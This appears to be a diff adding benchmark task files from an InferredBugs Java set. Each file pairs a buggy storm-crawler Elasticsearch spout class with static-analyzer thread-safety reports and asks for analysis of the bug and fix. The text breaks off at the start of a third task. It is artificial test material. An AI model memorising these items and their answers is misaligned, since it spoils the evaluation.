+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Licensed to DigitalPebble Ltd under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * DigitalPebble licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.digitalpebble.stormcrawler.elasticsearch.persistence;
+
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Queue;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsGroup;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsRequest;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsResponse;
+import org.elasticsearch.action.search.SearchRequestBuilder;
+import org.elasticsearch.action.search.SearchResponse;
+import org.elasticsearch.action.search.SearchType;
+import org.elasticsearch.client.Client;
+import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.index.query.QueryBuilders;
+import org.elasticsearch.index.query.functionscore.FunctionScoreQueryBuilder;
+import org.elasticsearch.index.query.functionscore.ScoreFunctionBuilders;
+import org.elasticsearch.search.SearchHits;
+import org.elasticsearch.search.sort.FieldSortBuilder;
+import org.elasticsearch.search.sort.SortBuilders;
+import org.elasticsearch.search.sort.SortOrder;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.digitalpebble.stormcrawler.Metadata;
+import com.digitalpebble.stormcrawler.elasticsearch.ElasticSearchConnection;
+import com.digitalpebble.stormcrawler.util.ConfUtils;
+import com.digitalpebble.stormcrawler.util.URLPartitioner;
+
+import org.apache.storm.metric.api.IMetric;
+import org.apache.storm.metric.api.MultiCountMetric;
+import org.apache.storm.spout.SpoutOutputCollector;
+import org.apache.storm.task.TopologyContext;
+import org.apache.storm.topology.OutputFieldsDeclarer;
+import org.apache.storm.topology.base.BaseRichSpout;
+import org.apache.storm.tuple.Fields;
+import org.apache.storm.tuple.Values;
+
+/**
+ * Spout which pulls URL from an ES index. Use a single instance unless you use
+ * 'es.status.routing' with the StatusUpdaterBolt, in which case you need to
+ * have exactly the same number of spout instances as ES shards.
+ **/
+public class ElasticSearchSpout extends BaseRichSpout {
+
+    private static final Logger LOG = LoggerFactory
+            .getLogger(ElasticSearchSpout.class);
+
+    private static final String ESBoltType = "status";
+
+    private static final String ESStatusIndexNameParamName = "es.status.index.name";
+    private static final String ESStatusDocTypeParamName = "es.status.doc.type";
+    private static final String ESStatusBufferSizeParamName = "es.status.max.buffer.size";
+    private static final String ESStatusMaxInflightParamName = "es.status.max.inflight.urls.per.bucket";
+    private static final String ESRandomSortParamName = "es.status.random.sort";
+    private static final String ESMaxSecsSinceQueriedDateParamName = "es.status.max.secs.date";
+    private static final String ESStatusSortFieldParamName = "es.status.sort.field";
+
+    private String indexName;
+    private String docType;
+
+    private SpoutOutputCollector _collector;
+
+    private static Client client;
+
+    private int maxBufferSize = 100;
+
+    private Queue<Values> buffer = new LinkedList<>();
+
+    private int lastStartOffset = 0;
+    private Date lastDate;
+    private int maxSecSinceQueriedDate = -1;
+
+    private URLPartitioner partitioner;
+
+    private int maxInFlightURLsPerBucket = -1;
+
+    // sort results randomly to get better diversity of results
+    // otherwise sort by the value of es.status.sort.field
+    // (default "nextFetchDate")
+    boolean randomSort = true;
+
+    /** Keeps a count of the URLs being processed per host/domain/IP **/
+    private Map<String, AtomicInteger> inFlightTracker = new HashMap<>();
+
+    // URL / politeness bucket (hostname / domain etc...)
+    private Map<String, String> beingProcessed = new HashMap<>();
+
+    private MultiCountMetric eventCounter;
+
+    private boolean active = true;
+
+    // when using multiple instances - each one is in charge of a specific shard
+    // useful when sharding based on host or domain to guarantee a good mix of
+    // URLs
+    private int shardID = -1;
+
+    private String sortField;
+
+    @Override
+    public void open(Map stormConf, TopologyContext context,
+            SpoutOutputCollector collector) {
+
+        indexName = ConfUtils.getString(stormConf, ESStatusIndexNameParamName,
+                "status");
+        docType = ConfUtils.getString(stormConf, ESStatusDocTypeParamName,
+                "status");
+        maxInFlightURLsPerBucket = ConfUtils.getInt(stormConf,
+                ESStatusMaxInflightParamName, 1);
+        maxBufferSize = ConfUtils.getInt(stormConf,
+                ESStatusBufferSizeParamName, 100);
+        randomSort = ConfUtils.getBoolean(stormConf, ESRandomSortParamName,
+                true);
+        maxSecSinceQueriedDate = ConfUtils.getInt(stormConf,
+                ESMaxSecsSinceQueriedDateParamName, -1);
+
+        sortField = ConfUtils.getString(stormConf, ESStatusSortFieldParamName,
+                "nextFetchDate");
+
+        // one ES client per JVM
+        synchronized (ElasticSearchSpout.class) {
+            try {
+                if (client == null) {
+                    client = ElasticSearchConnection.getClient(stormConf,
+                            ESBoltType);
+                }
+            } catch (Exception e1) {
+                LOG.error("Can't connect to ElasticSearch", e1);
+                throw new RuntimeException(e1);
+            }
+        }
+
+        // if more than one instance is used we expect their number to be the
+        // same as the number of shards
+        int totalTasks = context
+                .getComponentTasks(context.getThisComponentId()).size();
+        if (totalTasks > 1) {
+            // determine the number of shards so that we can restrict the
+            // search
+            ClusterSearchShardsRequest request = new ClusterSearchShardsRequest(
+                    indexName);
+            ClusterSearchShardsResponse shardresponse = client.admin()
+                    .cluster().searchShards(request).actionGet();
+            ClusterSearchShardsGroup[] shardgroups = shardresponse.getGroups();
+            if (totalTasks != shardgroups.length) {
+                throw new RuntimeException(
+                        "Number of ES spout instances should be the same as number of shards ("
+                                + shardgroups.length + ") but is " + totalTasks);
+            }
+            shardID = shardgroups[context.getThisTaskIndex()].getShardId();
+            LOG.info("Assigned shard ID {}", shardID);
+        }
+
+        partitioner = new URLPartitioner();
+        partitioner.configure(stormConf);
+
+        _collector = collector;
+
+        this.eventCounter = context.registerMetric("counters",
+                new MultiCountMetric(), 10);
+
+        context.registerMetric("beingProcessed", new IMetric() {
+            @Override
+            public Object getValueAndReset() {
+                return beingProcessed.size();
+            }
+        }, 10);
+
+        context.registerMetric("buffer_size", new IMetric() {
+            @Override
+            public Object getValueAndReset() {
+                return buffer.size();
+            }
+        }, 10);
+    }
+
+    @Override
+    public void close() {
+        if (client != null)
+            client.close();
+    }
+
+    @Override
+    public void declareOutputFields(OutputFieldsDeclarer declarer) {
+        declarer.declare(new Fields("url", "metadata"));
+    }
+
+    @Override
+    public void nextTuple() {
+
+        // inactive?
+        if (active == false)
+            return;
+
+        // have anything in the buffer?
+        if (!buffer.isEmpty()) {
+            Values fields = buffer.remove();
+
+            String url = fields.get(0).toString();
+            Metadata metadata = (Metadata) fields.get(1);
+
+            String partitionKey = partitioner.getPartition(url, metadata);
+
+            // check whether we already have too many tuples in flight for this
+            // partition key
+
+            if (maxInFlightURLsPerBucket != -1) {
+                AtomicInteger inflightforthiskey = inFlightTracker
+                        .get(partitionKey);
+                if (inflightforthiskey == null) {
+                    inflightforthiskey = new AtomicInteger();
+                    inFlightTracker.put(partitionKey, inflightforthiskey);
+                } else if (inflightforthiskey.intValue() >= maxInFlightURLsPerBucket) {
+                    // do it later! left it out of the queue for now
+                    LOG.debug(
+                            "Reached max in flight allowed ({}) for bucket {}",
+                            maxInFlightURLsPerBucket, partitionKey);
+                    eventCounter.scope("skipped.max.per.bucket").incrBy(1);
+                    return;
+                }
+                inflightforthiskey.incrementAndGet();
+            }
+
+            beingProcessed.put(url, partitionKey);
+
+            this._collector.emit(fields, url);
+            eventCounter.scope("emitted").incrBy(1);
+
+            return;
+        }
+        // re-populate the buffer
+        populateBuffer();
+    }
+
+    /** run a query on ES to populate the internal buffer **/
+    private void populateBuffer() {
+
+        if (lastDate == null) {
+            lastDate = new Date();
+        }
+
+        LOG.info("Populating buffer with nextFetchDate <= {}", lastDate);
+
+        QueryBuilder rangeQueryBuilder = QueryBuilders.rangeQuery(
+                "nextFetchDate").lte(lastDate);
+        QueryBuilder queryBuilder = rangeQueryBuilder;
+
+        if (randomSort) {
+            FunctionScoreQueryBuilder fsqb = new FunctionScoreQueryBuilder(
+                    rangeQueryBuilder);
+            fsqb.add(ScoreFunctionBuilders.randomFunction(lastDate.getTime()));
+            queryBuilder = fsqb;
+        }
+
+        SearchRequestBuilder srb = client
+                .prepareSearch(indexName)
+                .setTypes(docType)
+                // expensive as it builds global Term/Document Frequencies
+                // TODO look for a more appropriate method
+                .setSearchType(SearchType.DFS_QUERY_THEN_FETCH)
+                .setQuery(queryBuilder).setFrom(lastStartOffset)
+                .setSize(maxBufferSize).setExplain(false);
+
+        // https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-preference.html
+        // _shards:2,3
+        if (shardID != -1) {
+            srb.setPreference("_shards:" + shardID);
+        }
+
+        if (!randomSort) {
+            FieldSortBuilder sorter = SortBuilders.fieldSort(sortField).order(
+                    SortOrder.ASC);
+            srb.addSort(sorter);
+        }
+
+        long start = System.currentTimeMillis();
+        SearchResponse response = srb.execute().actionGet();
+        long end = System.currentTimeMillis();
+
+        eventCounter.scope("ES_query_time_msec").incrBy(end - start);
+
+        SearchHits hits = response.getHits();
+        int numhits = hits.getHits().length;
+
+        LOG.info("ES query returned {} hits in {} msec", numhits, end - start);
+
+        eventCounter.scope("ES_queries").incrBy(1);
+        eventCounter.scope("ES_docs").incrBy(numhits);
+
+        // no more results?
+        if (numhits == 0) {
+            lastDate = null;
+            lastStartOffset = 0;
+        } else {
+            lastStartOffset += numhits;
+            // been running same query for too long and paging deep?
+            if (maxSecSinceQueriedDate != -1) {
+                Date now = new Date();
+                Date expired = new Date(lastDate.getTime()
+                        + (maxSecSinceQueriedDate * 1000));
+                if (expired.before(now)) {
+                    LOG.info("Last date expired {} now {} - resetting query",
+                            expired, now);
+                    lastDate = null;
+                    lastStartOffset = 0;
+                }
+            }
+        }
+
+        // filter results so that we don't include URLs we are already
+        // being processed or skip those for which we already have enough
+        //
+        for (int i = 0; i < hits.getHits().length; i++) {
+            Map<String, Object> keyValues = hits.getHits()[i].sourceAsMap();
+            String url = (String) keyValues.get("url");
+
+            // is already being processed - skip it!
+            if (beingProcessed.containsKey(url)) {
+                eventCounter.scope("already_being_processed").incrBy(1);
+                continue;
+            }
+
+            Map<String, List<String>> mdAsMap = (Map<String, List<String>>) keyValues
+                    .get("metadata");
+            Metadata metadata = new Metadata();
+            if (mdAsMap != null) {
+                Iterator<Entry<String, List<String>>> mdIter = mdAsMap
+                        .entrySet().iterator();
+                while (mdIter.hasNext()) {
+                    Entry<String, List<String>> mdEntry = mdIter.next();
+                    String key = mdEntry.getKey();
+                    // periods are not allowed in ES2 - replace with %2E
+                    key = key.replaceAll("%2E", "\\.");
+                    Object mdValObj = mdEntry.getValue();
+                    // single value
+                    if (mdValObj instanceof String) {
+                        metadata.addValue(key, (String) mdValObj);
+                    }
+                    // multi valued
+                    else {
+                        metadata.addValues(key, (List<String>) mdValObj);
+                    }
+                }
+            }
+            buffer.add(new Values(url, metadata));
+        }
+    }
+
+    @Override
+    public void ack(Object msgId) {
+        String partitionKey = beingProcessed.remove(msgId);
+        decrementPartitionKey(partitionKey);
+        eventCounter.scope("acked").incrBy(1);
+    }
+
+    @Override
+    public void fail(Object msgId) {
+        LOG.info("Fail for {}", msgId);
+        String partitionKey = beingProcessed.remove(msgId);
+        decrementPartitionKey(partitionKey);
+        eventCounter.scope("failed").incrBy(1);
+    }
+
+    private final void decrementPartitionKey(String partitionKey) {
+        if (partitionKey == null)
+            return;
+        AtomicInteger currentValue = this.inFlightTracker.get(partitionKey);
+        if (currentValue == null)
+            return;
+        int newVal = currentValue.decrementAndGet();
+        if (newVal == 0)
+            this.inFlightTracker.remove(partitionKey);
+    }
+
+    @Override
+    public void activate() {
+        active = true;
+    }
+
+    @Override
+    public void deactivate() {
+        active = false;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.digitalpebble.stormcrawler.elasticsearch.persistence.ElasticSearchSpout.open` writes to field `this.com.digitalpebble.stormcrawler.elasticsearch.persistence.ElasticSearchSpout.partitioner` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ElasticSearchSpout.open(Map,TopologyContext,SpoutOutputCollector)
+
+### Procedure Id:
+com.digitalpebble.stormcrawler.elasticsearch.persistence.ElasticSearchSpout.open(java.util.Map,org.a.e41c5d28caf27cdd069fef3c2a39f989
+
+### File:
+external/elasticsearch/src/main/java/com/digitalpebble/stormcrawler/elasticsearch/persistence/ElasticSearchSpout.java
+
+### Key:
+ElasticSearchSpout.java|open|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+d26bff11678ef7fc30345ca26ee07b58
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6202/instruction.md b/inferredbugs-6202/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fd16c31c61330d6d143226abf7d5b0389b76cce2
--- /dev/null
+++ b/inferredbugs-6202/instruction.md
@@ -0,0 +1,516 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** storm-crawler
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Licensed to DigitalPebble Ltd under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * DigitalPebble licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.digitalpebble.stormcrawler.elasticsearch.persistence;
+
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Queue;
+import java.util.Set;
+
+import org.apache.commons.lang.StringUtils;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsGroup;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsRequest;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsResponse;
+import org.elasticsearch.action.search.SearchRequestBuilder;
+import org.elasticsearch.action.search.SearchResponse;
+import org.elasticsearch.action.search.SearchType;
+import org.elasticsearch.client.Client;
+import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.index.query.QueryBuilders;
+import org.elasticsearch.search.SearchHit;
+import org.elasticsearch.search.aggregations.AggregationBuilders;
+import org.elasticsearch.search.aggregations.Aggregations;
+import org.elasticsearch.search.aggregations.bucket.terms.Terms;
+import org.elasticsearch.search.aggregations.bucket.terms.TermsBuilder;
+import org.elasticsearch.search.aggregations.metrics.min.MinBuilder;
+import org.elasticsearch.search.aggregations.metrics.tophits.TopHits;
+import org.elasticsearch.search.aggregations.metrics.tophits.TopHitsBuilder;
+import org.elasticsearch.search.sort.FieldSortBuilder;
+import org.elasticsearch.search.sort.SortBuilders;
+import org.elasticsearch.search.sort.SortOrder;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.digitalpebble.stormcrawler.Metadata;
+import com.digitalpebble.stormcrawler.elasticsearch.ElasticSearchConnection;
+import com.digitalpebble.stormcrawler.util.ConfUtils;
+
+import org.apache.storm.metric.api.IMetric;
+import org.apache.storm.metric.api.MultiCountMetric;
+import org.apache.storm.spout.SpoutOutputCollector;
+import org.apache.storm.task.TopologyContext;
+import org.apache.storm.topology.OutputFieldsDeclarer;
+import org.apache.storm.topology.base.BaseRichSpout;
+import org.apache.storm.tuple.Fields;
+import org.apache.storm.tuple.Values;
+
+/**
+ * Spout which pulls URL from an ES index. Use a single instance unless you use
+ * 'es.status.routing' with the StatusUpdaterBolt, in which case you need to
+ * have exactly the same number of spout instances as ES shards. Guarantees a
+ * good mix of URLs by aggregating them by an arbitrary field e.g.
+ * metadata.hostname.
+ **/
+@SuppressWarnings("serial")
+public class AggregationSpout extends BaseRichSpout {
+
+    private static final Logger LOG = LoggerFactory
+            .getLogger(AggregationSpout.class);
+
+    private static final String ESBoltType = "status";
+
+    private static final String ESStatusIndexNameParamName = "es.status.index.name";
+    private static final String ESStatusDocTypeParamName = "es.status.doc.type";
+
+    private static final String ESStatusRoutingFieldParamName = "es.status.routing.fieldname";
+
+    private static final String ESStatusMaxBucketParamName = "es.status.max.buckets";
+    private static final String ESStatusMaxURLsParamName = "es.status.max.urls.per.bucket";
+
+    /**
+     * Field name to use for sorting the URLs within a bucket, not used if empty
+     * or null.
+     **/
+    private static final String ESStatusBucketSortFieldParamName = "es.status.bucket.sort.field";
+
+    /**
+     * Field name to use for sorting the buckets, not used if empty or null.
+     **/
+    private static final String ESStatusGlobalSortFieldParamName = "es.status.global.sort.field";
+
+    /**
+     * Min time to allow between 2 successive queries to ES. Value in msecs,
+     * default 2000.
+     **/
+    private static final String ESStatusMinDelayParamName = "es.status.min.delay.queries";
+
+    protected String indexName;
+    protected String docType;
+
+    private SpoutOutputCollector _collector;
+
+    protected static Client client;
+
+    protected Set<String> beingProcessed = new HashSet<>();
+
+    protected Queue<Values> buffer = new LinkedList<>();
+
+    /** Field name used for field collapsing e.g. metadata.hostname **/
+    protected String partitionField;
+
+    protected int maxURLsPerBucket = 10;
+
+    protected int maxBucketNum = 10;
+
+    protected MultiCountMetric eventCounter;
+
+    private boolean active = true;
+
+    protected long minDelayBetweenQueries = 2000;
+
+    /**
+     * when using multiple instances - each one is in charge of a specific shard
+     * useful when sharding based on host or domain to guarantee a good mix of
+     * URLs
+     */
+    protected int shardID = -1;
+
+    private String bucketSortField = "";
+
+    private String totalSortField = "";
+
+    protected Date timePreviousQuery = null;
+
+    /** Used to distinguish between instances in the logs **/
+    protected String logIdprefix = "";
+
+    @Override
+    public void open(Map stormConf, TopologyContext context,
+            SpoutOutputCollector collector) {
+
+        indexName = ConfUtils.getString(stormConf, ESStatusIndexNameParamName,
+                "status");
+        docType = ConfUtils.getString(stormConf, ESStatusDocTypeParamName,
+                "status");
+
+        partitionField = ConfUtils.getString(stormConf,
+                ESStatusRoutingFieldParamName);
+
+        bucketSortField = ConfUtils.getString(stormConf,
+                ESStatusBucketSortFieldParamName, bucketSortField);
+
+        totalSortField = ConfUtils.getString(stormConf,
+                ESStatusGlobalSortFieldParamName);
+
+        maxURLsPerBucket = ConfUtils.getInt(stormConf,
+                ESStatusMaxURLsParamName, 1);
+        maxBucketNum = ConfUtils.getInt(stormConf, ESStatusMaxBucketParamName,
+                10);
+
+        minDelayBetweenQueries = ConfUtils.getLong(stormConf,
+                ESStatusMinDelayParamName, 2000);
+
+        // one ES client per JVM
+        synchronized (AggregationSpout.class) {
+            try {
+                if (client == null) {
+                    client = ElasticSearchConnection.getClient(stormConf,
+                            ESBoltType);
+                }
+            } catch (Exception e1) {
+                LOG.error("Can't connect to ElasticSearch", e1);
+                throw new RuntimeException(e1);
+            }
+        }
+
+        // if more than one instance is used we expect their number to be the
+        // same as the number of shards
+        int totalTasks = context
+                .getComponentTasks(context.getThisComponentId()).size();
+        if (totalTasks > 1) {
+            logIdprefix = "[" + context.getThisComponentId() + " #"
+                    + context.getThisTaskIndex() + "] ";
+
+            // determine the number of shards so that we can restrict the
+            // search
+            ClusterSearchShardsRequest request = new ClusterSearchShardsRequest(
+                    indexName);
+            ClusterSearchShardsResponse shardresponse = client.admin()
+                    .cluster().searchShards(request).actionGet();
+            ClusterSearchShardsGroup[] shardgroups = shardresponse.getGroups();
+            if (totalTasks != shardgroups.length) {
+                throw new RuntimeException(
+                        "Number of ES spout instances should be the same as number of shards ("
+                                + shardgroups.length + ") but is " + totalTasks);
+            }
+            shardID = shardgroups[context.getThisTaskIndex()].getShardId();
+            LOG.info("{} assigned shard ID {}", logIdprefix, shardID);
+        }
+
+        _collector = collector;
+
+        this.eventCounter = context.registerMetric("counters",
+                new MultiCountMetric(), 10);
+
+        context.registerMetric("buffer_size", new IMetric() {
+            @Override
+            public Object getValueAndReset() {
+                return buffer.size();
+            }
+        }, 10);
+    }
+
+    @Override
+    public void close() {
+        if (client != null)
+            client.close();
+    }
+
+    @Override
+    public void declareOutputFields(OutputFieldsDeclarer declarer) {
+        declarer.declare(new Fields("url", "metadata"));
+    }
+
+    @Override
+    public void nextTuple() {
+
+        // inactive?
+        if (active == false)
+            return;
+
+        // have anything in the buffer?
+        if (!buffer.isEmpty()) {
+            Values fields = buffer.remove();
+
+            String url = fields.get(0).toString();
+            beingProcessed.add(url);
+
+            this._collector.emit(fields, url);
+            eventCounter.scope("emitted").incrBy(1);
+
+            return;
+        }
+        // re-populate the buffer
+        populateBuffer();
+    }
+
+    /** run a query on ES to populate the internal buffer **/
+    protected void populateBuffer() {
+
+        Date now = new Date();
+
+        // check that we allowed some time between queries
+        if (timePreviousQuery != null) {
+            long difference = now.getTime() - timePreviousQuery.getTime();
+            if (difference < minDelayBetweenQueries) {
+                long sleepTime = minDelayBetweenQueries - difference;
+                LOG.info(
+                        "{} Not enough time elapsed since {} - sleeping for {}",
+                        logIdprefix, timePreviousQuery, sleepTime);
+                try {
+                    Thread.sleep(sleepTime);
+                } catch (InterruptedException e) {
+                    LOG.error("{} InterruptedException caught while waiting",
+                            logIdprefix);
+                }
+                return;
+            }
+        }
+
+        timePreviousQuery = now;
+
+        LOG.info("{} Populating buffer with nextFetchDate <= {}", logIdprefix,
+                now);
+
+        QueryBuilder rangeQueryBuilder = QueryBuilders.rangeQuery(
+                "nextFetchDate").lte(now);
+
+        SearchRequestBuilder srb = client.prepareSearch(indexName)
+                .setTypes(docType).setSearchType(SearchType.QUERY_THEN_FETCH)
+                .setQuery(rangeQueryBuilder).setFrom(0).setSize(0)
+                .setExplain(false);
+
+        TermsBuilder aggregations = AggregationBuilders.terms("partition")
+                .field("metadata." + partitionField).size(maxBucketNum);
+
+        TopHitsBuilder tophits = AggregationBuilders.topHits("docs")
+                .setSize(maxURLsPerBucket).setExplain(false);
+        // sort within a bucket
+        if (StringUtils.isNotBlank(bucketSortField)) {
+            FieldSortBuilder sorter = SortBuilders.fieldSort(bucketSortField)
+                    .order(SortOrder.ASC);
+            tophits.addSort(sorter);
+        }
+
+        aggregations.subAggregation(tophits);
+
+        // sort between buckets
+        if (StringUtils.isNotBlank(totalSortField)) {
+            MinBuilder minBuilder = AggregationBuilders.min("top_hit").field(
+                    totalSortField);
+            aggregations.subAggregation(minBuilder);
+            aggregations.order(Terms.Order.aggregation("top_hit", true));
+        }
+
+        srb.addAggregation(aggregations);
+
+        // https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-preference.html
+        // _shards:2,3
+        if (shardID != -1) {
+            srb.setPreference("_shards:" + shardID);
+        }
+
+        // dump query to log
+        LOG.debug("{} ES query {}", logIdprefix, srb.toString());
+
+        long start = System.currentTimeMillis();
+        SearchResponse response = srb.execute().actionGet();
+        long end = System.currentTimeMillis();
+
+        eventCounter.scope("ES_query_time_msec").incrBy(end - start);
+
+        Aggregations aggregs = response.getAggregations();
+
+        Terms agg = aggregs.get("partition");
+
+        int numhits = 0;
+        int numBuckets = 0;
+        int alreadyprocessed = 0;
+
+        // For each entry
+        for (Terms.Bucket entry : agg.getBuckets()) {
+            String key = (String) entry.getKey(); // bucket key
+            long docCount = entry.getDocCount(); // Doc count
+
+            int hitsForThisBucket = 0;
+
+            // filter results so that we don't include URLs we are already
+            // being processed
+            TopHits topHits = entry.getAggregations().get("docs");
+            for (SearchHit hit : topHits.getHits().getHits()) {
+                hitsForThisBucket++;
+
+                Map<String, Object> keyValues = hit.sourceAsMap();
+                String url = (String) keyValues.get("url");
+
+                LOG.debug("{} -> id [{}], _source [{}]", logIdprefix,
+                        hit.getId(), hit.getSourceAsString());
+
+                // is already being processed - skip it!
+                if (beingProcessed.contains(url)) {
+                    alreadyprocessed++;
+                    continue;
+                }
+                Metadata metadata = fromKeyValues(keyValues);
+                buffer.add(new Values(url, metadata));
+            }
+
+            if (hitsForThisBucket > 0)
+                numBuckets++;
+
+            numhits += hitsForThisBucket;
+
+            LOG.debug("{} key [{}], hits[{}], doc_count [{}]", logIdprefix,
+                    key, hitsForThisBucket, docCount, alreadyprocessed);
+        }
+
+        // Shuffle the URLs so that we don't get blocks of URLs from the same
+        // host or domain
+        Collections.shuffle((List) buffer);
+
+        LOG.info(
+                "{} ES query returned {} hits from {} buckets in {} msec with {} already being processed",
+                logIdprefix, numhits, numBuckets, end - start, alreadyprocessed);
+
+        eventCounter.scope("already_being_processed").incrBy(alreadyprocessed);
+        eventCounter.scope("ES_queries").incrBy(1);
+        eventCounter.scope("ES_docs").incrBy(numhits);
+    }
+
+    protected final Metadata fromKeyValues(Map<String, Object> keyValues) {
+        Map<String, List<String>> mdAsMap = (Map<String, List<String>>) keyValues
+                .get("metadata");
+        Metadata metadata = new Metadata();
+        if (mdAsMap != null) {
+            Iterator<Entry<String, List<String>>> mdIter = mdAsMap.entrySet()
+                    .iterator();
+            while (mdIter.hasNext()) {
+                Entry<String, List<String>> mdEntry = mdIter.next();
+                String key = mdEntry.getKey();
+                // periods are not allowed in ES2 - replace with %2E
+                key = key.replaceAll("%2E", "\\.");
+                Object mdValObj = mdEntry.getValue();
+                // single value
+                if (mdValObj instanceof String) {
+                    metadata.addValue(key, (String) mdValObj);
+                }
+                // multi valued
+                else {
+                    metadata.addValues(key, (List<String>) mdValObj);
+                }
+            }
+        }
+        return metadata;
+    }
+
+    @Override
+    public void ack(Object msgId) {
+        LOG.debug("{}  Ack for {}", logIdprefix, msgId);
+        beingProcessed.remove(msgId);
+        eventCounter.scope("acked").incrBy(1);
+    }
+
+    @Override
+    public void fail(Object msgId) {
+        LOG.info("{}  Fail for {}", logIdprefix, msgId);
+        beingProcessed.remove(msgId);
+        eventCounter.scope("failed").incrBy(1);
+    }
+
+    @Override
+    public void activate() {
+        active = true;
+    }
+
+    @Override
+    public void deactivate() {
+        active = false;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.digitalpebble.stormcrawler.elasticsearch.persistence.AggregationSpout.open` reads without synchronization from `this.com.digitalpebble.stormcrawler.elasticsearch.persistence.AggregationSpout.logIdprefix`. Potentially races with write in method `AggregationSpout.open(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AggregationSpout.open(Map,TopologyContext,SpoutOutputCollector)
+
+### Procedure Id:
+com.digitalpebble.stormcrawler.elasticsearch.persistence.AggregationSpout.open(java.util.Map,org.apa.4e24f33940753cc6f8f13c11d18ede19
+
+### File:
+external/elasticsearch/src/main/java/com/digitalpebble/stormcrawler/elasticsearch/persistence/AggregationSpout.java
+
+### Key:
+AggregationSpout.java|open|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+aa5e6ce8655083131e207d25dce757c1
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6203/instruction.md b/inferredbugs-6203/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b6f86f303d4cdc31657da5649bc8501e936d5abb
--- /dev/null
+++ b/inferredbugs-6203/instruction.md
@@ -0,0 +1,516 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** storm-crawler
+**Bug ID:** 25
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Licensed to DigitalPebble Ltd under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * DigitalPebble licenses this file to You under the Apache License, Version 2.0
